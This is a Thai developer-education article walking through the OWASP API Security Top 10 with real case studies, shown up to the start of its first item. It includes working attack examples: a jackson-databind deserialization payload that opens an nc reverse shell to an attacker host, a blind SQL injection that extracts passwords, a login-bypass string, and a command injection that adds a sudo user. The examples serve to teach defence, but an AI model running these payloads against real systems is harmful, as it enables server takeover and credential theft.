สาย Developer ต้องรู้ OWASP API Security Top 10 มีอะไรบ้าง พร้อมตัวอย่าง
8 กันยายน 2020
เว็บสมัยก่อน เวลาเข้า 1 หน้าเว็บ ก็จะตอบกลับมาเป็นโค้ด HTML ทั้งดุ้น แต่เว็บสมัยใหม่เดี๋ยวนี้คงหนีไม่พ้นการทำเป็น API แยกย่อยให้สามารถ พัฒนา ดูแล ปรับแต่งแก้ไขได้ง่าย และยังสามารถนำไปใช้ร่วมกันกับ แอปพลิเคชันบนโทรศัพท์ หรือการดึงข้อมูลข้ามแอปพลิเคชัน ได้สะดวกขึ้นอีกด้วย
ตัวอย่างเช่นหน้าเว็บทวิตเตอร์ ที่เราค้นหาคำว่า blackpink
ที่คล้าย ๆ กับว่าเว็บตอบหน้าเว็บ Twitter กลับมาทั้งหน้าแต่พอเราเข้าไปตรวจสอบอย่างละเอียดดูจริง ๆ จะพบว่ามีการยิง API ไปที่ api.twitter.com/2/search/adaptive.json?q=blackpink เพื่อดึงผลการค้นหามาแสดงต่างหาก
ตัวอย่างนี้ผู้เขียนใช้โปรแกรม Burp Suite ในการตรวจสอบจะเจอว่ามีการส่งข้อมูลดังรูปข้างล่างนี้
API คืออะไร ?
API ย่อมาจาก Application Programming Interface คือส่วนที่ติดต่อระหว่างแอปพลิเคชันนั้นกับ แอปพลิเคชันอื่น หรือกับผู้ใช้งาน ที่บ่งบอกว่าเวลาจะรับ-ส่ง ข้อมูล คุยกันจะต้องทำยังไงส่งอะไรแบบไหน อย่างไร โดยในบทความนี้จะเน้นไปที่เฉพาะ API ในรูปแบบเว็บ (ผ่าน HTTP Protocol) เท่านั้น
เมื่อปี 2018 ผู้เขียนเคยเล่าเรื่อง “แนวทางการออกแบบเว็บ API ให้มีความปลอดภัยแบบแมว ๆ” กันไปแล้ว วันนี้จะมาเล่าต่อ โดยการใช้เอกสารตามแนวทางของ OWASP API Security Top 10 – 2019 เอาไว้อ้างอิงเกี่ยวกับความปลอดภัยของ API ซึ่งก็น่าสนใจเช่นกัน
ขอเกริ่นคร่าว ๆ สำหรับผู้อ่านที่ไม่สันทัดด้านนี้
OWASP คืออะไร ?
OWASP เป็นองค์กรไม่แสวงหาผลกำไรที่ให้ความรู้เพื่อเน้นให้ระบบคอมพิวเตอร์ มีความปลอดภัยมากยิ่งขึ้น ในหลายแง่มุมไม่ว่าจะเป็นการทดสอบแฮก การเขียนโค้ดให้ปลอดภัย และการกำหนดนโยบายหรือมาตรฐานด้านความปลอดภัยให้แอปพลิเคชัน
OWASP Top 10 คืออะไร ?
โครงการหนึ่งของ OWASP ที่จัดอันดับ 10 ความเสี่ยงทางด้านความปลอดภัย แต่เดิมเคยมี Top 10 ของความเสี่ยงเว็บอย่างเดียว แล้วก็มีโครงการอื่น เพิ่มมาเช่น Top 10 ความเสี่ยงของแอปพลิเคชันบนโทรศัพท์, IoT, Cloud และอื่น ๆ
ตัวอย่างความเสี่ยงของ API เช่น
ถ้าเราออกแบบ API ไว้ทำอะไรสักอย่าง อย่างล็อกอินด้วยเฟซบุ๊กของเว็บ pantip.com แต่ยอมให้ตัว API สามารถมาใช้ในการสืบค้นข้อมูลผู้ใช้บนเว็บนั้นด้วยอีเมลได้ ว่าอีเมลนั้นตรงกับผู้ใช้งานในระบบคนไหน เฟซบุ๊กอะไร (ปัจจุบันถูกปิดการใช้งานแล้ว – ภาพเก่าปี 2016)
หรือช่องโหว่ใน API ของ CMS หน้าเว็บเซิร์ฟเวอร์เกม Maple Story เถื่อน (แก้ไขแล้ว)
ที่ยอมให้ผู้เล่นเกมสามารถ ใส่ คำสั่ง SQL เข้าไป เสกไอเท็มในเกมกันสนุกสนานได้
ซึ่งเรื่องน่าปวดหัวมีอยู่ว่า จริง ๆ ทั้ง OWASP Top 10 เว็บ หรือ OWASP Top 10 แอปฯบนโทรศัพท์ ต่างก็มีส่วนที่ทับซ้อนกับ API อยู่แล้ว ทำไมถึงจะต้องมี OWASP Top 10 API แยกออกมาด้วย?
ผู้เขียนพยายามจะตอบคำถามนี้ เดา ๆ คือ
- เพราะว่า Top 10 เว็บ อาจจะรวมถึง ส่วนที่เป็นเว็บแบบเก่าที่ไม่ได้ใช้ API เช่นหน้าเว็บตอบข้อมูล HTML มาทั้งดุ้นในครั้งเดียว อาจจะมีช่องโหว่พวก Cross-Site Scripting, Cross-Site Request Forgery (ในปีก่อน ๆ) หรือสรุปง่าย ๆ คือมีบางความเสี่ยงที่จำเป็นต้องเข้าผ่านเว็บเบราว์เซอร์ (หรือ WebView ของแอป) ถึงจะโดนโจมตีได้ แต่ API อาจจะมี API ที่ใช้โดยไม่ผ่านเว็บเบราว์เซอร์โดยตรง (เช่น เว็บสองเว็บคุยกันเอง หรือ ตู้ ATM ดึงข้อมูลจาก API)
- เพราะว่า Top 10 แอปฯบนโทรศัพท์ จะครอบคลุมโค้ดส่วนที่ทำงานในเครื่องโทรศัพท์อยู่ด้วย เช่นเก็บการข้อมูลสำคัญไว้ในแอปฯ หรือการตรวจสอบความถูกต้องของข้อมูลที่ผู้ใช้ใส่เข้ามา ก่อนส่งไปยังเซิร์ฟเวอร์ผ่าน API
- เพราะว่าปัจจุบันมีแอปฯ ที่ไม่ได้เป็นทั้งเว็บหรือแอปฯบนโทรศัพท์ โดยเฉพาะ อุปกรณ์ IoT ต่าง ๆ หรือการคุยกันระหว่างระบบภายใน (เซิร์ฟเวอร์คุยกับเซิร์ฟเวอร์) ซึ่งมักจะทำผ่าน API เป็นหลักดังนั้นการนำ Top 10 เว็บ หรือแอปฯบนโทรศัพท์มาใช้ จึงอาจจะมีบางข้อไม่เหมาะสม เพราะบางช่องโหว่อาจจะไม่เข้ากันกับการเจาะจงไปที่ API นั้นเอง
พยายามจะเข้าข้างให้สุด ๆ แล้วว่าทำไมเราต้องมี Top 10 ของ API ต้องขอออกตัวก่อนว่า ผู้เขียนเชื่อว่าจริง ๆ แล้วทุกความเสี่ยงใน Top 10 ของ API เราสามารถใช้ Top 10 ของเว็บ แทนกันได้ ไม่ควรมีแยกกัน! (แถมเราก็ไม่มั่นใจได้ว่าในอนาคต API นั้นจะมีเว็บหรือแอปฯบนโทรศัพท์ นำไปใช้หรือเปล่า ถ้าเราใช้แทน Top 10 เว็บหรือแอปฯบนโทรศัพท์ ก็อาจจะมีผลเสียแทนผลดีได้) แต่ไหน ๆ ก็มี Top 10 ของ API แล้ว เรามาลองดูกันดีกว่า
ต่อมาจะมาเล่าให้ฟังว่า …
ถ้าเราจะพัฒนาระบบขึ้นมา ให้มี API โดยอาจจะใช้กับเว็บ กับแอปฯโทรศัพท์ หรืออื่น ๆ จะมี 10 ความเสี่ยงอะไรที่ควรสนใจ เพื่อไม่ให้โดนแฮกกันบ้าง จาก 10 อันดับจาก OWASP ได้แก่
- อันดับ 1 Broken Object Level Authorization
- อันดับ 2 Broken User Authentication
- อันดับ 3 Excessive Data Exposure
- อันดับ 4 Lack of Resources & Rate Limiting
- อันดับ 5 Broken Function Level Authorization
- อันดับ 6 Mass Assignment
- อันดับ 7 Security Misconfiguration
- อันดับ 8 Injection
- อันดับ 9 Improper Assets Management
- อันดับ 10 Insufficient Logging & Monitoring
แค่อ่านก็งงแล้ว โดยผู้เขียนจะขอแยกเป็น 2 หมวดหลัก ๆ เทียบกับ OWASP Top 10 เว็บได้แก่
หมวด #1 หมวดชื่อเหมือนเป๊ะ!
คืออันที่ลองเทียบ OWASP Top 10 API กับ OWASP Top 10 เว็บจะเห็นว่ามีชื่อเหมือนกันเป๊ะ ๆ เลยคือ
Top 10 API:
API7:2019 – Security Misconfiguration
API8:2019 – Injection
API10:2019 – Insufficient Logging & Monitoring
ซึ่งก็จะเหมือนกับกับ Top 10 Web:
A1:2017 – Injection
A6:2017 – Security Misconfiguration
A10:2017 – Insufficient Logging & Monitoring
หมวด #2 หมวดย้อมแมว
คือที่ OWASP Top 10 API ชื่อไม่เหมือนกันเป๊ะ ๆ แต่รวมอยู่ด้วยกันใน OWASP Top 10 เว็บแล้วอย่าง
Top 10 API:
API1:2019 – Broken Object Level Authorization
API2:2019 – Broken User Authentication
API3:2019 – Excessive Data Exposure
API5:2019 – Broken Function Level Authorization
API6:2019 – Mass Assignment
ซึ่งรวมอยู่ใน Top 10 เว็บ:
A2:2017 – Broken Authentication (คือ Broken User Authentication )
A3:2017 – Sensitive Data Exposure (คือ Excessive Data Exposure)
A5:2017 – Broken Access Control (รวม Broken Object Level Authorization กับ Broken Function Level Authorization)
รวมถึง
Top 10 API:
API4:2019 – Lack of Resources & Rate Limiting
API9:2019 – Improper Assets Management
ที่ถูกรวมอยู่ใน
Top 10 เว็บ:
A6:2017 – Security Misconfiguration
จะเห็นว่าจริง ๆ Top 10 ของ API มันก็คือเอา Top 10 เว็บมาขยายความย้อมแมว เปลี่ยนชื่อและตัด ๆ บางข้อออก แค่นั้นเอง 55 ด้วยระบบแบบอาสาสมัคร ของ OWASP จึงมีอะไรแบบนี้โผล่มาเสมอ แต่ก็มาดูแต่ละหมวดกัน
หมวด #1 หมวดชื่อเหมือนเป๊ะ!
อันดับ 7 Security Misconfiguration
คือความเสี่ยงของ API ที่เกิดจากการตั้งค่าอย่างไม่ปลอดภัย หรือไม่ได้เปิดฟีเจอร์ด้านความปลอดภัย เช่น
7.1 การตั้งค่านโยบาย Cross-Origin Resource Sharing (CORS) ของ API อย่างไม่ปลอดภัย
เวลาเรามีเว็บ 2 เว็บเช่น sdhbank.local และเว็บ hacker.local แล้วมี เหยื่อกำลังล็อกอินเว็บ sdhbank.local อยู่ (อาจจะปิด Tab ไปแล้วก็ได้ แต่ Session Cookie ในเว็บเบราว์เซอร์ยังใช้งานได้ไม่ได้กด ล็อกเอาต์)
จะเกิดอะไรขึ้นถ้าเหยื่อคนเดิมนั้นเปิดเว็บ hacker.local แล้วเว็บ hacker.local มีคำสั่ง JavaScript ยิง AJAX ไปดึงข้อมูลจาก API ที่ sdhbank.local/api/getCreditCard จากนั้นส่งข้อมูลที่ดึงมาไปเก็บไว้ในเซิร์ฟเวอร์ hacker.local (ด้วยการยิง AJAX ครั้งที่ 2)
คำตอบก็คือ เว็บ hacker.local ก็จะขโมย ข้อมูลของผู้ใช้งานผ่าน API ของเว็บ sdhbank.local ได้นั่นเอง แต่เราโชคดีที่ว่า ในปัจจุบัน เว็บเบราว์เซอร์ มีกระบวนการมาป้องกันเหตุการณ์นี้
โดยการกำหนดว่า hacker.local เรียกว่ามาจาก 1 ระบบ ส่วน sdhbank.local จะถือว่าเป็นคนละระบบกัน โดยจะใช้คำว่า Origin แทนคำว่าระบบ (ในเชิงเทคนิคแล้ว Origin แบ่งโดยค่า URL ที่เป็น Protocol เดียวกัน Port เดียวกัน subdomain เดียวกัน จะถือว่าอยู่ Origin เดียวกัน) จากนั้นคนสร้าง เว็บเบราว์เซอร์ ก็ได้กำหนดว่า จะต้องปฏิเสธห้ามไม่ให้มีการดึงข้อมูลข้าม Origin ผ่าน AJAX เป็นค่าเริ่มต้น (คือปลอดภัยเป็นค่าเริ่มต้น)
ตัวอย่างเช่น เว็บที่มาใช้งาน API ต้นทาง (twitter.com) ที่ไปขอเรียก API (api.twitter.com) จะต้องส่งค่า Origin: https://twitter.com ไปใน HTTP Request และถ้า API ปลายทาง (api.twitter.com) ยอมให้ AJAX ดึงข้อมูลได้ ก็จะต้องตอบ access-control-allow-origin: https://twitter.com กลับมา
ยกเว้นแต่ผู้พัฒนาเว็บ ถ้าคุณเขียนเว็บให้มีการตอบ HTTP Response ใน API เป็น
Access-Control-Allow-Origin: ชื่อเว็บอะไรก็ได้ที่ยิง AJAX มา เช่น hacker.local
ก็จะทำให้เว็บแฮกเกอร์ (ในกรณีนี้คือ hacker.local) สามารถขโมยข้อมูลของเว็บ sdhbank.local ผ่านการยิง AJAX บนหน้าเว็บได้ ซึ่งช่องโหว่ของการตั้งค่าไม่ปลอดภัยนี้จะเรียกว่า Overly Permissive Cross-Origin Resource Sharing
7.2 เมื่อเกิดข้อผิดพลาดใน API ไม่ได้ตั้งค่าให้แสดงรายละเอียดข้อผิดพลาดอย่างปลอดภัย
ปกติเวลาเขียนโค้ดโปรแกรม แล้วเกิดข้อผิดพลาด (error) สิ่งที่โปรแกรมเมอร์ทำได้คือการจัดการข้อผิดพลาดนั้นด้วยเทคนิคอย่าง try-catch (ขึ้นกับภาษาโปรแกรมที่ใช้) ใช่ไหม? สิ่งที่ควรรู้คือ ตามหลักการเขียนโค้ดอย่างปลอดภัย เมื่อเกิดข้อผิดพลาดขึ้นแล้ว API ไม่ควรแสดงรายละเอียดเชิงเทคนิคมากเกินไป (verbose error message)
ตัวอย่างหน้าแสดงข้อผิดพลาดที่แสดงข้อมูลเยอะเกินไปของ Laravel (PHP Framework)
ข้อมูลเชิงเทคนิคที่ไม่ควรแสดงผลเวลาเกิดข้อผิดพลาด (Error) ได้แก่
- ชื่อไฟล์, ชื่อฟังก์ชัน, การเรียกฟังก์ชัน, โค้ดรวมถึงบรรทัดของโค้ดที่เกิดข้อผิดพลาด ซึ่งมีโอกาสนำมาแสดงได้ หากโปรแกรมเมอร์ตั้งค่า API ให้เปิด debug mode หรือเปิด stack trace หรือไม่ได้เขียนโค้ดมาจัดการกับข้อผิดพลาดไว้
- ชื่อ path ของระบบปฏิบัติการที่ใช้งาน API
- หมายเลข IP ภายใน (private IP address)
- ชื่อรุ่นของซอฟต์แวร์ที่ใช้
- ข้อมูลที่ควรเป็นความลับ ที่บางครั้งอาจถูกนำมาแสดง ขณะเกิดข้อผิดพลาดเช่น รหัสผ่านของฐานข้อมูล
7.3 การตั้งค่าของ API ที่ใช้ผ่านระบบจากผู้ให้บริการภายนอกอย่างไม่ปลอดภัย
ปัจจุบันนอกจาก API ที่เขียนเองแล้ว ก็มีโอกาสจะใช้ API จากผู้ให้บริการภายนอกเช่น
- การจ่ายเงินผ่าน payment gateway ถ้าหาก มีการตั้งค่าอย่างไม่เหมาะสม ก็อาจจะทำให้ผู้ไม่ประสงค์ดี จ่ายเงินในราคาที่ถูกกว่าที่ควรจะเป็น หรือข้ามผ่านขั้นตอนการชำระเงินไปได้เลย
- การเข้าถึงข้อมูล ที่ระบบนำไปฝากไว้เช่น Amazon S3 Bucket ถ้าตั้งค่าอย่างไม่ปลอดภัย ผู้ไม่ประสงค์ดีก็อาจยิง API ไปขโมยข้อมูลที่ไปเก็บไว้ได้กรณีศึกษาคือมีเว็บ startup สำหรับการหางาน ชื่อดังในประเทศไทย นำไฟล์ resume ของผู้ที่มาฝากสมัครงานไว้หลายหมื่นคนไปเก็บไว้บน บริการ Amazon S3 Bucket แต่ตั้งค่าอย่างไม่ปลอดภัย ทำให้ผู้ไม่ประสงค์ดี สามารถเข้าไปดาวน์โหลดไฟล์ resume ของคนไทยมากมายออกมาได้ มีคนแจ้งเข้ามาผ่านเพจ สอนแฮกเว็บแบบแมว ๆ และได้ทำการประสานงานแจ้งเจ้าของระบบทำการแก้ไขเรียบร้อย
- การเข้าถึงฐานข้อมูลที่ดูแลโดยผู้ให้บริการภายนอกอย่าง Firebase Realtime Database
เนื่องจากฐานข้อมูลอาจมีการออกแบบให้เก็บข้อมูลสาธารณะอย่างเดียว เช่นข้อมูลข่าวสารทั่วไปที่แสดงอยู่บนหน้าเว็บหรือแอปฯอยู่แล้ว จึงมีตัวเลือกให้ใคร ๆ ก็ได้เข้าไปดูข้อมูลได้ (เช่นเดียวกับ Amazon S3 Bucket) แต่ถ้าหาก มีการตั้งค่าผิดพลาดนำข้อมูลที่ไม่ควรเข้าได้แบบสาธารณะมาเก็บไว้ รวมถึง อาจจะตั้งค่าผิดพลาดให้ ใครก็ได้มาแก้ไขข้อมูลนั้น ก็เป็นความเสี่ยงที่จะทำให้ระบบและธุรกิจเกิดความเสียหายได้กรณีศึกษาคือเว็บแอดมิชชั่นของไทย เคยมีการตั้งค่า รายชื่อมหาวิทยาลัยที่มีให้เลือกในระบบว่าใครก็ได้มาแก้ไขได้ จึงมีคนมือบอนไปเพิ่ม “โรงเรียนฮอกวอตส์” ซะอย่างงั้น
7.4 มีการตั้งค่า API ให้มีการแสดงรายละเอียดของ API ออกมา
เช่นการเปิดเอกสาร WSDL หรือ Swagger ให้เข้าถึงได้โดยใครก็ได้ ก็นับว่าเป็นการตั้งค่าที่ไม่ปลอดภัยของ API ทำให้ API ที่ผู้ใช้งานสิทธิ์ต่ำไม่ควรรู้ หรือลืมตรวจสอบสิทธิ์ไว้ถูกโจมตีได้
ตัวอย่างไฟล์ Swagger ที่แสดงรายละเอียด API โดยมักจะถูกสร้างมาอัตโนมัติด้วยส่วนเสริมของโค้ดในระหว่างการพัฒนาแอปพลิเคชัน แต่อาจจะลืมนำออกเมื่อ เปิดให้ผู้ใช้งานทั่วไปเข้าใช้
7.5 การใช้ซอฟต์แวร์รุ่นเก่า ที่มีช่องโหว่ที่เปิดเผยต่อสาธารณะไปแล้ว
กรณีศึกษาระบบมีการพัฒนาด้วยภาษา Java และใช้ส่วนประกอบชื่อ FastXML jackson-databind แต่ไม่ได้คอยตรวจสอบช่องโหว่ที่ออกใหม่แล้วปรับปรุงเป็นรุ่นล่าสุด ก็อาจโดนโจมตีด้วยช่องโหว่อย่าง CVE-2017-17485 ทำให้แฮกเกอร์สามารถรันโค้ดบนเซิร์ฟเวอร์เหยื่อได้ด้วยการ
1. ใส่คำสั่ง JSON อันตรายเข้าไปเพื่อให้ไปดาวน์โหลดโค้ด XML
{ "param": [ "org.springframework.context.support.FileSystemXmlApplicationContext", "http://demoo.longcatsec.net:8888/exploit.xml" ] }
2. โค้ด XML ที่ถูกอ่านมาจะ ถูก deserialize กลายเป็นโค้ด Java
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <array> <value>nc</value> <value>demoo.longcatsec.net</value> <value>1337</value> <value>-e</value> <value>/bin/bash</value> </array> </constructor-arg> <property name="any" value="#{ pb.start() }"/> </bean> </beans>
3. โค้ด Java ถูกสั่งให้ทำการสั่งการ OS Command ด้วย java.lang.ProcessBuilder ในกรณีนี้สั่งให้รันคำสั่ง nc demoo.longcatsec.net 1337 -e /bin/bash คือให้เซิร์ฟเวอร์เหยื่อที่ถูกแฮก (longcat.local:8089) เชื่อมต่อกลับไปยังเซิร์ฟเวอร์ของแฮกเกอร์ (demoo.longcatsec.net) นั้นเอง
รวมกันแล้วในสามขั้นตอน แฮกเกอร์ ก็จะยึดเซิร์ฟเวอร์เหยื่อได้ด้วยการโจมตีซอฟต์แวร์รุ่นเก่า
ปล. เอา docker มาลองแฮกเล่นได้ที่ https://github.com/vulhub/vulhub/tree/master/jackson/CVE-2017-7525
อันดับ 8 Injection
ช่องโหว่ยอดนิยมอย่าง Injection ในส่วนของ API ตกลงมาอยู่อันดับ 8 เลยทีเดียว (เทียบกับอันดับ 1 ใน OWASP Top 10 เว็บ) เกิดขึ้นได้ในกรณีที่ API รับค่าจากผู้ใช้งานมาประมวลผลอย่างงไม่ปลอดภัย โดยเฉพาะอย่ายิ่ง ไม่ได้ตรวจสอบค่าที่รับเข้ามาก่อน
ตัวอย่างเช่นการรับค่าจากผู้ใช้งานเข้ามาใส่เป็นส่วนหนึ่งของคำสั่ง SQL โดยตรง (เกิดเป็นช่องโหว่ SQL Injection) หรือนำมาใส่ในส่วนหนึ่งของคำสั่ง OS Command (เกิดเป็นช่องโหว่ OS Command Injection) และอื่น ๆ ตามแต่จะจินตนาการออก ผลคือเพื่อนำมาใส่อย่างไม่ได้ตรวจสอบแล้ว แฮกเกอร์ ก็จะสามารถควบคุมคำสั่ง ที่ถูกประมวลผลเพื่อทำสิ่งที่ตนเองไม่มีสิทธิ์จะทำได้ เช่น อ่านหรือเขียนข้อมูลที่เป็นความลับ ของผู้ใช้งานคนอื่น เป็นต้น
8.1 SQL Injection
ตัวอย่างกรณีศึกษาคือช่องโหว่ SQL Injection บนเว็บเกม Tree of Savior (treeofsavior.com) ที่ทางผู้เขียนเคยพบใน API การค้นหารายชื่อคำถามที่พบบ่อยพบเว็บ และแจ้งให้ทีมพัฒนาเกมแก้ไขทางอีเมลเมื่อปี 2016 โดยช่องโหว่นี้ตัวเว็บแอปพลิเคชันดันเชื่อมต่อฐานข้อมูลด้วยสิทธิ์ root ของ MySQL ทำให้สามารถอ่านไฟล์บนเครื่องเซิร์ฟเวอร์ได้ด้วยการเรียกฟังก์ชัน load_file() นั่นเอง
โดยหลักการคร่าว ๆ คือเว็บมีการรับค่าจากผู้ใช้งานผ่าน HTTP Parameter ชื่อ s จากนั้นน่าจะนำมาทำการค้นหาข้อมูลด้วยคำสั่ง SQL หน้าตาประมาณ…
SELECT * from tos.searchlist where topic like '%[ค่าของ s]%'
เมื่อแฮกเกอร์สามารถแก้ไข [ค่าของ s] ให้มีตัวอักษร ‘ เข้าไปได้ก็จะสามารถใส่คำสั่ง SQL อื่น ๆ เพิ่มเข้าไปได้ด้วย เช่นการใส่คำสั่ง
%' or if(ord(mid((select password from tos.users limit 1),0,1))==65,sleep(5),sleep(10))-- -
เมื่อนำไปแทนที่จะได้เป็น
SELECT * from tos.searchlist where topic like '%%' or if(ord(mid((select password from tos.users limit 1),0,1))==65,sleep(5),sleep(10))-- - %'
ผลคือจะมีการเรียกใช้งาน subquery ว่า select password from tos.users limit 1 แล้วจะตัดเฉพาะตัวแรกของรหัสผ่าน mid(…, 0,1) จากนั้นแปลงเป็นตัวเลข ASCII ด้วย ord() แล้วเทียบ (==) ว่าตัวอักษรตัวแรกของ รหัสผ่านตรงกับตัว A (เลข ASCII ค่า 65) หรือเปล่า
ถ้าดึงออกมาตรงเป็นตัว A ตัวเว็บก็จะ ชะงัก ไป 5 วินาที (sleep(5)) ถ้าไม่ตรงจะ ชะงัก ไป 10 วินาที (sleep(10)) ถ้าไม่ตรงก็เปลี่ยนเลข 65 เป็นตัว B (66), C (77), .. ต่อไปเรื่อย ๆ เมื่อเจอก็เลื่อนตัวถัดไปหาค่าตัวอักษรตัวต่อไปเรื่อย ๆ (mid(…,1,1)) จนกว่าจะครบทุกตัวใน password ที่ดึงมาด้วย subquery ก็จะทำให้การทำ SQL Injection ดึงรหัสผ่านออกมาได้ สำหรับการอ่านไฟล์เราก็แค่แทนที่ subquery นั้นด้วยการ select load_file(‘/etc/passwd’) นั้นเอง
นอกจากการดึงข้อมูลได้แล้ว SQL Injection ยังทำให้เกิดผลอื่น ๆ ได้เช่นการทำ Authentication Bypass ด้วยการใส่คำสั่ง ‘ or ‘1’=’1 ซึ่งทำให้คำสั่ง SQL หลังบ้านไม่ได้ทำการตรวจสอบรหัสผ่านที่ถูกต้องและปล่อยให้แฮกเกอร์เข้าสู่ระบบได้เฉยเลย (เพราะ 1=1 เป็นจริงเสมอและเชื่อมด้วย or คือเป็นจริงอย่างน้อย 1 เงื่อนไข ทั้งหมดจะเป็นจริง) เชื่อหรือไม่ว่าจนถึงทุกวันนี้ก็ยังมีคนมาแจ้งช่องโหว่ เว็บหน่วยงานราชการ ล็อกอินเข้าไปได้ด้วยการใส่คำสั่ง ‘ or ‘1’=’1 อยู่เลย
8.2 OS Command Injection
สำหรับการเขียนโค้ดบางครั้งเราก็อาจจะมีความจำเป็นจะต้องใช้คำสั่งของระบบปฏิบัติการ (OS command) ถ้าหากเรารับข้อมูลจากผู้ใช้งาน API มาแล้วนำมาเป็นส่วนหนึ่งของ OS command อย่างไม่ปลอดภัยแล้วก็มีความเสี่ยงจะถูกรันโค้ดอันตรายบนเซิร์ฟเวอร์ได้
ตัวอย่างเช่นโค้ด PHP ง่าย ๆ ว่าจะรับ ค่ามาเป็นออฟชันของโปรแกรม do_something ว่า
$arg1 = $_POST['arg1']; shell_exec("/usr/bin/do_something $arg1");
ถ้าหากแฮกเกอร์ส่งค่า arg1 มาเป็นคำสั่งว่า ; useradd -G sudo -m longcat -s /bin/bash
เมื่อโค้ดถูกรันคำสั่งที่จะทำงานก็จะกลายเป็น
/usr/bin/do_something ; useradd -G sudo -m longcat -s /bin/bash
ทำให้โปรแกรมอื่นนอกจาก do_something ถูกสั่งให้รันไปด้วย ในกรณีนี้คือการใส่คำสั่ง useradd ให้เพิ่มผู้ใช้งานในระบบเป็นของแฮกเกอร์ (longcat) เข้าไปด้วย
ในส่วนของการทดสอบขั้นสูงก็จะมีท่ายากใหม่ต่าง ๆ เช่น Blind OS Command Injection, NoSQL Injection หรือการทำ Injection ที่มีเงื่อนไขซับซ้อนอย่างการถูกจำกัดความยาวค่าที่สามารถใส่ลงไปได้ เป็นต้น
สำหรับการป้องกันช่องโหว่ประเภท Injection จำเป็นจะต้องใช้ Prepared Statement สำหรับการเชื่อมต่อฐานข้อมูลเพื่อหลีกเลี่ยงความเสี่ยง SQL Injection และมีการตรวจสอบค่าที่รับมาจากผู้ใช้งานอย่างรัดกุม ว่าเป็นค่าที่ถูกต้องเหมาะสมจริง ๆ เท่านั้น
อันดับ 10 Insufficient Logging & Monitoring
บ้านเราล็อคประตูแล้ว ก็ยังมียามหน้าหมู่บ้านคอยตรวจคนเข้าออกหมู่บ้าน การป้องกันระบบคอมพิวเตอร์ที่ดีก็ควรจะมีหลาย ๆ ชั้นเช่นกัน และมีการสอดส่องดูแลที่ดี ในอันดับ 10 ของ OWASP Top 10 API กล่าวถึงการที่แอปพลิเคชันควรจะมีการ เก็บบันทึกประวัติผู้เข้าสู่ระบบ และประวัติการกระทำที่สำคัญในระบบ อย่างการ ซื้อ-ขายสินค้า และ ฝาก-ถอน-โอนเงิน เป็นต้น
อีกทั้งจากผลการสำรวจพบว่าโดยทั่วไปแล้วองค์กรจะรู้ว่าระบบตัวเอง ถูกแฮก ใช้เวลามากกว่า 200 วัน แล้วแถมการค้นพบว่าถูกแฮกมักจะถูกค้นพบโดยบุคคลภายนอกองค์กรเสียมากกว่าจากคนภายในตรวจสอบเจอ ดังนั้นการมีระบบที่คอย แจ้งเตือนเหตุการณ์ผิดปกติในระบบ เช่น I/O หรือ CPU วิ่งสูงเกินค่าเฉลี่ยปกติ เพราะ มีคนกำลัง dump ฐานข้อมูลออกมาจากเครื่อง รวมถึงมีการส่งอีเมล หรือดึงข้อมูลจาก API มากกว่าปกติ
จากตัวอย่างรูปด้านล่างเป็นการใช้ Grafana ทำการตรวจสอบการใช้งานของผู้ใช้ในระบบ
10.1 รหัสผ่านหรือ Token สำหรับการเรียกใช้ API อาจจะหลุดสู่สาธารณะ
กรณีศึกษาคือมีแอปพลิเคชันโทรศัพท์มือถือ ของไทยในช่วง COVID-19 มีการเก็บตำแหน่งผู้ใช้งาน แล้วมี API หลังบ้าน (ไม่ใช่สำหรับผู้ใช้งานแอปพลิเคชันจากโทรศัพท์มือถือ) ที่ทำการ ดึงตำแหน่งผู้ใช้งานมาดูได้ ซึ่งการดึงจาก API หลังบ้านจะต้องใช้ Token ปรากฏว่าผู้เขียนเจอช่องโหว่ พบว่าเกิดข้อผิดพลาดระหว่างการพัฒนาทำให้ ผู้พัฒนาลืมฝังตัว Token สำหรับ API หลังบ้านเข้ามาในโค้ด แอปพลิเคชันโทรศัพท์มือถือด้วย ทำให้แฮกเกอร์สามารถที่จะแกะไฟล์แอปฯ เอา Token ระบบ API หลังบ้าน นี้ออกไปไปใช้ยิง เพื่ออ่านตำแหน่งผู้ใช้งานแอปพลิเคชันคนอื่น ได้ทันที
ซึ่งถ้าหากระบบไม่ได้มีการ Log หรือ Monitor คนที่เข้ามาใช้งาน API ว่ามาจากที่ใด เหตุการณ์แบบนี้ก็อาจจะไม่ถูกตรวจเจอ หรืออาจจะไม่ถูกแก้ไขได้อย่างทันท่วงที
10.2 ถูกโจมตีด้วยเทคนิค credential stuffing โดยไม่รู้ตัว
ในปัจจุบันแฮกเกอร์ในเว็บไซต์บนเครือข่าย Tor (The Onion Router) จะมีการแลกเปลี่ยนรหัสผ่านของผู้ใช้งานที่ทำการขโมยมาได้ ไม่ว่าจะมาจากการเจาะระบบ หรือการหลอกให้เหยื่อใส่ข้อมูลผ่านหน้าเว็บไซต์ (phishing) จากนั้น แฮกเกอร์สามารถที่จะนำรหัสผ่าน ที่แฮกออกมาจากระบบหนึ่ง ไปลองเดาสุ่ม เข้าใช้งานบัญชีของอีกระบบหนึ่ง เช่นเหยื่ออาจจะใช้งานเว็บ hellolongcat.local ด้วยอีเมลและรหัสผ่าน ซึ่งใช้ซ้ำกับรหัสผ่าน บนเว็บเฟซบุ๊ก ดังนั้นแฮกเกอร์จึงอาจจะแฮกเฟซบุ๊กของเหยื่อได้ จากการแฮกเว็บ hellolongcat.local เป็นต้น
API ที่ดี ควรออกแบบมาให้มีการตรวจสอบการถูกโจมตีด้วย credential stuffing เช่นถ้าหากพบความผิดปกติว่ามี แฮกเกอร์ พยายามนำรหัสผ่านจำนวนมากมา ลองเข้าสู่ระบบ จะต้องมีการหยุดยั้งไม่ให้แฮกเกอร์ทำต่อไปได้โดยง่าย เช่น อาจจะขึ้นหน้าจอ CAPTCHA เพื่อป้องกันการลองนำรหัสผ่านจากระบบอื่นมาใส่อย่างอัตโนมัติ (เรียกว่า credential stuffing) จนถึงอาจจะจำเป็นต้อง ระงับการลองเข้าสู่ระบบของแฮกเกอร์ด้วยหมายเลขไอพีกับชื่อบัญชีเหยื่อประกอบกัน เป็นต้น
สามารถอ่านเรื่องนี้เพิ่มเติมได้ที่บทความ ตั้ง Password เดียวใช้งานทุกเว็บ เสี่ยงโดนแฮกทุกบัญชี จากทาง NT cyfence
หมวด #2 หมวดย้อมแมว
อันดับ 1 Broken Object Level Authorization
